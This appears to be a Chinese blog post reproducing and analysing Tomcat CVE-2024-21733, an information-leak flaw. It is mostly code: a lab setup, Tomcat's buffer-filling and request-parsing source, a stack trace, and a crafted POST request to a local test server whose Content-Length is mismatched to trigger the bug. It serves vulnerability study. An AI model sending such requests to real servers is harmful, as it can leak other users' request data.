Tomcat CVE-2024-21733漏洞简单复现、分析

set JAVA_TOOL_OPTIONS="-Duser.language=en"set CATALINA_HOME=D:DevTomcatapache-tomcat-9.0.43

<%    String id = request.getParameter("id");    if (id != null) {        out.println("The ID is: " + id);    } else {        out.println("No ID parameter provided.");    }%>

<properties>    <tomcat.version>9.0.43</tomcat.version>    <maven.compiler.source>8</maven.compiler.source>    <maven.compiler.target>8</maven.compiler.target>    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding></properties><dependencies>    <dependency>        <groupId>org.springframework.boot</groupId>        <artifactId>spring-boot-starter</artifactId>    </dependency>    <dependency>        <groupId>org.springframework.boot</groupId>        <artifactId>spring-boot-starter-web</artifactId>    </dependency>    <dependency>        <groupId>org.apache.tomcat</groupId>        <artifactId>tomcat-servlet-api</artifactId>        <version>9.0.43</version>        <scope>compile</scope>    </dependency></dependencies><build>    <plugins>        <plugin>            <groupId>org.springframework.boot</groupId>            <artifactId>spring-boot-maven-plugin</artifactId>        </plugin>    </plugins></build>

server.tomcat.connection-timeout=5000server.error.include-message=alwaysserver.error.include-binding-errors=alwaysserver.error.include-stacktrace=always

@RequestMapping(value = "/CVE-2024-21733", method = RequestMethod.POST)public String cve(HttpServletRequest request) {    String age = request.getParameter("age");    return "received: " + age;}

private boolean fill(boolean block) throws IOException {    ...    byteBuffer.mark();    if (byteBuffer.position() < byteBuffer.limit()) {        byteBuffer.position(byteBuffer.limit());    }    byteBuffer.limit(byteBuffer.capacity());    SocketWrapperBase<?> socketWrapper = this.wrapper;    int nRead = -1;    if (socketWrapper != null) {        nRead = socketWrapper.read(block, byteBuffer);    } else {        throw new CloseNowException(sm.getString("iib.eof.error"));    }    byteBuffer.limit(byteBuffer.position()).reset();    ...}

POST /CVE-2024-21733 HTTP/1.1Host: 192.168.3.144:8080Sec-Ch-Ua: "Chromium";v="119", "Not?A_Brand";v="24"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Linux"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Priority: u=0, iConnection: keep-aliveContent-Length: 2Content-Type: application/x-www-form-urlencodedx

private boolean fill(boolean block) throws IOException {    ...    byteBuffer.mark();    if (byteBuffer.position() < byteBuffer.limit()) {        byteBuffer.position(byteBuffer.limit());    }    byteBuffer.limit(byteBuffer.capacity());    SocketWrapperBase<?> socketWrapper = this.wrapper;    int nRead = -1;    if (socketWrapper != null) {        nRead = socketWrapper.read(block, byteBuffer);    } else {        throw new CloseNowException(sm.getString("iib.eof.error"));    }    byteBuffer.limit(byteBuffer.position()).reset();    ...}

parseParameters:3285, Request (org.apache.catalina.connector)getParameter:1142, Request (org.apache.catalina.connector)getParameter:381, RequestFacade (org.apache.catalina.connector)cve:93, TestController (com.vvmdx.example.controller)...service:346, CoyoteAdapter (org.apache.catalina.connector)service:374, Http11Processor (org.apache.coyote.http11)process:65, AbstractProcessorLight (org.apache.coyote)process:887, AbstractProtocol$ConnectionHandler (org.apache.coyote)doRun:1684, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)run:49, SocketProcessorBase (org.apache.tomcat.util.net)runWorker:1149, ThreadPoolExecutor (java.util.concurrent)run:624, ThreadPoolExecutor$Worker (java.util.concurrent)run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)run:750, Thread (java.lang)

if (parsingRequestLinePhase == 2) {    //    // Reading the method name    // Method name is a token    //    boolean space = false;    while (!space) {        // Read new bytes if needed        if (byteBuffer.position() >= byteBuffer.limit()) {            if (!fill(false)) // request line parsing                return false;        }        // Spec says method name is a token followed by a single SP but        // also be tolerant of multiple SP and/or HT.        int pos = byteBuffer.position();        chr = byteBuffer.get();        if (chr == Constants.SP || chr == Constants.HT) {            space = true;            request.method().setBytes(byteBuffer.array(), parsingRequestLineStart,                    pos - parsingRequestLineStart);        } else if (!HttpParser.isToken(chr)) {            // Avoid unknown protocol triggering an additional error            request.protocol().setString(Constants.HTTP_11);            String invalidMethodValue = parseInvalid(parsingRequestLineStart, byteBuffer);            throw new IllegalArgumentException(sm.getString("iib.invalidmethod", invalidMethodValue));        }    }    parsingRequestLinePhase = 3;}